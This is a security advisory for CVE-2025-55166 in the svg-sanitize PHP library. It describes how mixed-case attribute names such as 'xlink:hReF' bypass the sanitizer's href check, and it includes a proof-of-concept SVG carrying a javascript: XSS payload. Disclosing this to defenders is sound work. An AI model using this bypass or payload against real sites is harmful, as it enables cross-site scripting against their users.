svg-sanitizer Bypasses Attribute Sanitization
Date: 2025-08
Affected: composer/enshrined/svg-sanitize
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2025-55166
CWE: CWE-601
CWE-79

#### Problem The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains. #### Proof-of-concept _provided by azizk_ ``` <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:hReF="javascript:alert(document.domain)"> <rect width="100" height="50" fill="red"></rect> <text x="50" y="30" text-anchor="middle" fill="white">Click me</text> </a> </svg> ``` #### Credits The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk <medazizknani@gmail.com>`.


Mitigations:

Architectural layers (MAESTRO):